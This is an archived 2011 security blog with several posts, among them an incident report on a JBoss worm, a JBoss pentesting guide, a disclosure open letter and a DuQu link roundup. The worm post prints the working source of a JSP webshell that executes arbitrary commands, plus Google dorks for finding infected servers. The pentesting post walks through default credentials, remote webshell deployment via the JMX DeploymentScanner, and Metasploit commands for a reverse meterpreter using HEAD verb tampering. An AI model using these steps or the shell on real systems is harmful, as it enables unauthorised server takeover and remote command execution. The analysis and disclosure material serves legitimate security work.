Goats Uncovered

Jboss Worm – It is real and there are 3 new form spreading #in #jboss #worm

scoperchiatore — Fri, 16 Dec 2011 08:50:01 +0000

During last two weeks, I exposed my lab towards a public IP. I have Jboss4/6 on it and some more things, and today I noticed something I didn’t deploy…:

Directory of C:\jboss\server\default\deploy\management
../../2011 11:41  .
../../2011 11:41  ..
../../2010 04:10  console-mgr.sar
../../2011 20:29  iddqd.war
../../2011 23:09  idssvc.war
../../2011 18:55  iesvc.war
../../2010 04:26  web-console.war
../../2011 22:22  wstats.war
../../2011 19:07  zecmd.war

This is a default Jboss dir, where you should find only web-console .war and console-mgr.sar; as you can see, someone has added something else… This server had a (strong) password, so I think they used a 0day or the HTTP Verb Jboss vuln (HEAD use of the jmx-console) Starting from the first one, iddqd.war; it is a simple war, with only one jsp with the very same name:

Directory of C:\jboss\server\default\deploy\management\iddqd.war
../../2011 20:29  .
../../2011 20:29  ..
../../2011 16:44 630 iddqd.jsp
1 File(s) 630 bytes

iddqd.jsp is a simple java web-shell (x.x.x.22 is my server)

iddqd.jsp running net statistics

Here is the source, it’s a very straightforward JSP shell:

<%@ page import="java.util.*,java.io.*"%> <% %>   
  
  
<% if (request.getParameter("comment") != null) { out.println("Command: " + request.getParameter("comment") + "
");
 Process p = Runtime.getRuntime().exec(request.getParameter("comment")); OutputStream os = p.getOutputStream();
 InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); 
while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>

All wars are built the same: there is the xxx directory (where xxx is the name of the war, as zecmd) and its corresponding jsp (zecmd.jsp), so on my server now there are 5 Java backdoors:

http://x.x.x.22/zecmd/zecmd.jsp

http://x.x.x.22/wstats/wstats.jsp

http://x.x.x.22/iddqd/iddqd.jsp

http://x.x.x.22/idssvc/idssvc.jsp

http://x.x.x.22/iesvc/iesvc.jsp

After discovering this, I started wonder: why do you need to upload 5 webshells?? If you are a “human”, you would surely prefer one stable webshell… This is where I googled for iddqd.jsp, and here comes the surprise… Everything seems to link this jsp to the infamous and not well known (for me) Jboss worm; here there a great and detailed analysis I found, and I can confirm this is the behavior if the infection is successful:

http://eromang.zataz.com/2011/10/25/jboss-worm-analysis-in-details/

Try just google for iddqd.jsp / wstats.jsp (last one is less common…) and you’ll find a third form, zmeu/zmeu.jsp

I found no references explicit linking the Jboss worm to wstats.jsp, zmeu.jsp and iddqd.jsp , so I assume those are 3 new “form” of this “worm”.

Dorking for those jsp usage could give you an idea on how many sites have this worm/shell on!!!

You can even find issued commands (perl+a.pl or pscan) in the status history:

http://www.google.com/search?q=zmeu.jsp

http://www.google.com/search?q=iddqd.jsp

http://www.google.com/search?q=%22wstats.jsp%22

http://www.google.com/search?q=%22iesvc.jsp%22

http://www.google.com/search?q=%22zecmd.jsp%22

http://www.google.com/search?q=%22idssvc.jsp%22

There are at leat 200 unique URLs indexed by Google (my lab isn’t, and I suppose many infected Jboss) that seems to be infected

It is spreading right now (i.e in my lab wstats.jsp has been uploaded yesterday, 15 Dec); while it is not as serious as other worm, It can target critical application and infrastructures, due to the fact that no one uses Jboss for “simple company site”, usually.

Filed under: backdoor, info, jboss, worm

CLSHACK – Simple keylogger with xinput

scoperchiatore — Wed, 23 Nov 2011 17:33:03 +0000

Here http://www.clshack.it/linux-xinput-simple-keylogger.html, they say xinput does need root privilege to read chars; so they build a keylogger exploiting this “feature”

Cool, very smart, but is this an xinput implementation bug, or is a X (Xorg/Xfree) design bug? It could be disastrous if it applies to ALL Unix…

Filed under: info

Jboss Pentesting & HTTP Verbal Tampering

scoperchiatore — Tue, 22 Nov 2011 21:44:15 +0000

It is about 2-3 months I pentest Jboss & Tomcat…There are some issue I think can be useful to exploit Jboss. First of all, as any application server, you can totally own the server by getting into the application server admin console. You’ll have 2 way to do this:

weak password
exploiting

Jboss has 2 kind of admin console: the first one, the oldest one, is the jmx-console, ie http://localhost:8080/jmx-console/

and the second one, from Jboss 5.5 or similar http://localhost:8080/admin-console/

Jboss has quite always an Information Leakage page, very useful to debug your tries http://localhost:8080/status?full=true

Then you can find another console http://localhost:8080/web-console/ This is only an informational-one, because it uses the JMX Console to deploy and doing things… so there is no “straight-way” to use it, even if there are some interesting aspects to analyze

Weak Passwords

Jboss 4 has no password for jmx-console; on Jboss>4 , there are some default password, usually admin/admin

If you can read files, point to

server\default\deploy\jmx-console.war\WEB-INF\classes\jmx-console-users.properties

and you’ll have an easy own.

Deploying a Webshell

To deploy something, you’ll have 3 choiches

metasploit, with 3 sub-choiches

the daytona pack, that is a self-running version of those metasploit-exploits http://www.exploit-db.com/exploits/17977/
the manual way

With metasploit, it is better to deploy a meterpreter, as usual. The daytona pack will provide you with a reverse shell.

Manually, you can check many thins as explained here: http://lab.mediaservice.net/notes_more.php?id=JBOSS_more

To upload a webshell manually, the best way is

get a domain/webspace on a web server and upload your webshell (for example wsh4jboss.war, but mine is an old-fashioned-style webshell
go to http://localhost:8080/jmx-console/ ->look forDeploymentScanner -> look for addURL() -> put your http://mydomain/wsh4jboss.war here, then Invoke
NOTE: it is a quick way to do this, but it will continuously load the war from mydomain, so you can run out of bandwidth
to undeploy, http://localhost:8080/jmx-console/ ->jboss.web.deployment -> find your shell -> click -> stop() and/or destroy()

Why the “manual” way? Because if daytona/metasploit fails, it is not always unexploitable :)

HTTP Verbal Tampering

You can do everything with a JMX-Console password (or if your jmx-console does not has a password); but if you can’t get it?

So, do you know what HTTP Verbal Tampering is? (I think this is the Fortify name). Every web application J2EE has a WEB-INF\web.xml file; it says many things (audit it when you pentest/code review!!), but we need to the security-constraint section:

 
  HtmlAdaptor
     An example security config that only allows users with 
 the role JBossAdmin to access the HTML JMX console web application 
  /*
 GET
 POST
  
 JBossAdmin

So, let’s understand this XML Piece; what does it says? If you read documentation, you’ll discover that what the comment says is false. This piece of XML says “To access HtmlAdaptor/* by GET or POST, you have to be member of the JBossAdmin group“. What does not says is “To access HtmlAdaptor/* by HEAD, PUT, DELETE, MODIFY, OPTIONS and TRACE, you does not need to be in any group“

What can you do with HEAD/PUT/….? In Java every servlet (HTMLAdaptor is the main JMX-Console servlet) needs to implement doGet(…) doPost(…) doPut(…) method to serve for a specific HTTP Verb; a JSP, instead, can answer to any Verb, so a JSP is less secure than a servlet. So it is very unlikely you will modify any file or put a file on the AS…

But HEAD is like GET, except for the fact you’ll not see the outpu –> some requests to the jmx-console can be done with HEAD –> this is the “Jboss exploitation tecnique”

With metasploit, any of the previous mode support the modification of the Verbal HTTP:

msf > use exploit/multi/http/jboss_maindeployer
msf exploit(jboss_maindeployer) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(jboss_maindeployer) > set LHOST [MY IP ADDRESS]
msf exploit(jboss_maindeployer) > set RHOST [TARGET IP]
msf exploit(jboss_maindeployer) > set VERB HEAD
msf exploit(jboss_maindeployer) > exploit

Remember to check the /status?full=true page ;)

Filed under: info

Vendors, Disclosure and Patching problems – an open letter by IT Security Geeks

scoperchiatore — Mon, 14 Nov 2011 08:12:54 +0000

When I read this link,

AN OPEN LETTER TO SOFTWARE VENDORS

I lived a well-known story I saw many times… I totally agree with them, and I would like to add some word to their letter:

@hdmoore linked the Rapid7 Disclosure policy: 60 days as maximum time given to the Vendor to patch… they are many, in a working environment. If you need more time to fix a “standard” vuln (memory corruption, sql injection, XSS, RFI, …) please re-think one of your process: do you develop bad code, with too many security bugs? Do you not undertake a correct Risk Analisys? Is your Incident Team too slow to address the issue after the Security Researcher/Consultant/Pentester submitted the bug?

Dear vendor,

until your Development Processes + Incident Handling Teams/Process + Risk Analisys & Management Structures will not communicate and will not see themselves as interrelating structures, you will not get even closer to real security. Your “quick” response (2-3 months or even a year!) is inappropriate to this new world.

Bad guys have twitter to share vulns in 15 minutes; they google your watermarks to find your product deployed on small or big companies! Small sites/companies are attacked for anonymization, DDOS, find customer’s data, spam, phishing, … and big ones can be totally owned for you vulns.

Yes, bad guys can own a company because of your bugs: just think about it, if I have found a big issue in only 5 days, what could an “armed&dangerous” team do in 3 months? And why will they target you? Who knows, perhaps because one day someone will look at you old-fashioned-web1.0-app, with no ajax and few css support, and will start thinking “how old this one is?”…

Please, stop thinking “I have reviewed my policies/processes 4 years ago, they are ok”… No, they’re not, 4 years ago no one used twitter or FB or google+ like today. 4 years ago cloud services waere pioneristic! 4 years ago there were not Stuxnet or DuQu, integrated malaware with extensive capabilities.

You have to rethink yourself as attackers became more powerful, and world goes on… If you think about it now, you have time to do big changes that will lead to a more secure state, if you continue delaying, please believe me when I say that tomorrow could be too late for your business

Kind Regards

A Senior Security Consultant

Filed under: info

OWASP Mantra – Pentest (Chrome) Browser project

scoperchiatore — Sun, 13 Nov 2011 14:06:53 +0000

Mantra from OWASP seems a good project

https://www.owasp.org/index.php/OWASP_Mantra_-_Security_Framework

It is a Chrome environment (portable, so it does not interfere with your everyday-use chrome installation) with many useful add-ons for pentesters. Personally, I think there are two or three things missing in comparison with a good Firefox profile (something like the one I posted before, which coul become better)… I was not able to match what they say it is present to what I actually find opening Mantra.

Filed under: info

Java Exploits/Research

scoperchiatore — Tue, 08 Nov 2011 20:56:12 +0000

This researcher is a new myth for me: @jduck1337

This paper is very interesting, and it is something I was thinking about since 3-4 years… Exploiting memory corruptions in java is always something very fascinating to me.

http://www.accuvant.com/capability/accuvant-labs/security-research/featured-presentation/exploiting-java-memory-corruption-vulnerabilities

Another interesting & extremely clever work, @mihi42 Java RMI exploit, which takes advantage about default Java RMI configuration; it is very different from Joshua’s work, but it coult be devastating in some environment…

http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/misc/java_rmi_server.rb

This work by @mihi42 makes possible to run Java code outside the sandbox, exploiting a design flaw in Mozilla Rhino Script engine:

http://schierlm.users.sourceforge.net/CVE-2011-3544.html

Filed under: info, pentesting

DuQu – (trying to) summarize infos

scoperchiatore — Fri, 04 Nov 2011 18:45:16 +0000

Really too may tweet/linkedin/blog/forum/news… I will try to collect them in a single post, in order to go deeper in case I will have time…

December 13,2011 Iran shuts down Duqu-linked servers

December 4,2011 Stuxnet, Duqu & Conficker, a new generation of cyber weapons … even “without a father”

November 28,2011 Duqu: involution of Stuxnet [slides]

November 18,2011 DuQu mystery deepens as Irans admits infection

November 18, 2011 DuQu – Do we really know the enemy?

November 14,2011 Iran claims it can control DuQu

November 13, 2011 Iran says it has detected and is fighting DuQu and here

November 13, 2011 DuQu was more serious than previously thought

November 11,2011 Hackers may have spent years crafting DuQu

November 11,2011 DuQu saga continues: Mr B. Jamson and TV’s Dexter

November 7,2011 DuQu may derive from stars and Stuxnet, DuQu, Stars and Galaxies…, October 21, 2011, from Paolo Passeri’s blog

November 6,2011 DuQu Open Source detector released (Python)

November 5,2011 DuQu analisys and detection tool by NSS labs

November 5, 2011 DuQu was created to spy on Iranian nuclear program

November 4, 2011, Five Things To Do To Defend Against Duqu

November 4, 2011, Microsoft Releases Workaround For Kernel Flaw Used By Duqu
http://technet.microsoft.com/en-us/security/advisory/2639658

November 3, 2011
MS Windows 0-Day exploited by Duqu is caused by a TrueType font parsing vuln. Blocking T2EMBED.DLL prevents the attack

November 3, 2011 DuQu hackers shift to Belgium after India Raid

November 2, 2011 DuQu: The son or the father of StuxNet

November 2, 2011 What is DuQu up to?

October 28, 2001 India shuts server linked to Duqu computer virus

October 28, 2011 Win32/Duqu analysis: the RPC edition

October 27, 2011 Spotted in Iran, trojan Duqu may not be “son of Stuxnet” after all

October 27, 2011 New Duqu Trojan analysis questions Stuxnet connection

October 27, 2011 Analysis: Duqu Malware Launches Custom(izable) Attacks

October 26, 2011 Duqu incidents detected in Iran and Sudan

October 26, 2011 Duqu, Stuxnet link unclear

October 26, 2011 Duqu Trojan Questions and Answers

October 25, 2011 The mistery of DuQu

October 24, 2011 Symantec analisys: W32.Duqu: The Precursor to the Next Stuxnet

October 21, 2011 DuQu first removal tool (Symantec)

October 18, 2011 The Day of the Golden Jackal – The Next Tale in the Stuxnet Files: Duqu Updated

Filed under: duqu, info, malaware, windows

Web application testing from Iphone

scoperchiatore — Fri, 04 Nov 2011 10:17:45 +0000

I missed this… http://www.gnucitizen.org/blog/well-websecurify-runs-on-the-iphone/

Gnucitizen says: “The testing engine used in this particular version of Websecurify is optimized to run with the least possible amount of memory. The results of the scanner are as good as those produced by all other Websecurify variants although in some cases it may miss some statistically unlikely types of issues. This is not directly and only applicable to the iPhone version. No! Similar tradeoffs are also present even in standard desktop/server based scanners although they are usually less visible and obscured behind tones of options. The bottom line is that the scanner not only runs natively on the iOS but also works as expected.“

I don’t like apple products, so I don’t have an iPhone; will they become “small-and-not-visible” hacking instruments? For post exploit in a wifi pentest it is important to have such a small device!

Filed under: pentesting, webapps

One-line shellocode(s)

scoperchiatore — Fri, 04 Nov 2011 10:06:05 +0000

This article shows some examples of shellcodes in python (shellcode in this case means backdoors): reverse and “direct” tcp backdoor opened through python.

http://www.pentestit.com/source-code-python-line-shellcode/

In my experience, working with SunOS or hardened RHEL/SEL, it is difficult to find a working installation of python/perl/ruby (that’s impossible!!)

This is why i developed those backdoor (wsh and jbd) completely in Java… I always find Java in any environment (any = 95%)

Another “old but useful” is bash-reverse-shell-in-2-lines; it works :D

http://www.gnucitizen.org/blog/reverse-shell-with-bash/

Do anyone know other “quick-and-dirty” ways to open backdoors [apart from nc]?

Filed under: backdoor, python

Firefox7 profile with pentesting add-ons

scoperchiatore — Mon, 31 Oct 2011 19:11:11 +0000

I uploaded a pre-built Penetration Testing FireFox7 profile, with many useful extension:

Firefox7_pentestin_profile.rar

I created this profile from scratch, starting from add-ons listed in the FireCAT project; many extensions did not work anymore, but the most important does; there are more or less 20 extensions, basically:

no logging extensions, if you know please comment this post, I really would like one of it
you’ll find hackbar, decoder, tamper data, firebug, cookie manager, user agent switch, web developer,
you’ll find downthemall, tabmixplus
foxyproxy with a localhost:8080 entry (no model specified, you need to select it for all URLs)
“news”: flash firebug, poster (web services testing), sqlite manager, fireforce, fireshot
as default, there is a theme with little paragraph-spacing (so you should not have long right-click menus)

Any other option is in the default state as a plain firefox installation. If you don’t know, you can run multiple firefox profiles at the same type; just run:

/path/to/firefox –no-remote -P
C:\path\to\firefox.exe –no-remote -P

-P -> shows the profile manager

–no-remote ->you can start more profiles at the same time

To use this one, just unpack the file (I suggest you into a cyphered partition), then run Firefox with those options, create new profile, select folder, go to the folder where you unpacked this RAR, and give it a name.

Extension suggestions are always welcome :)

Filed under: info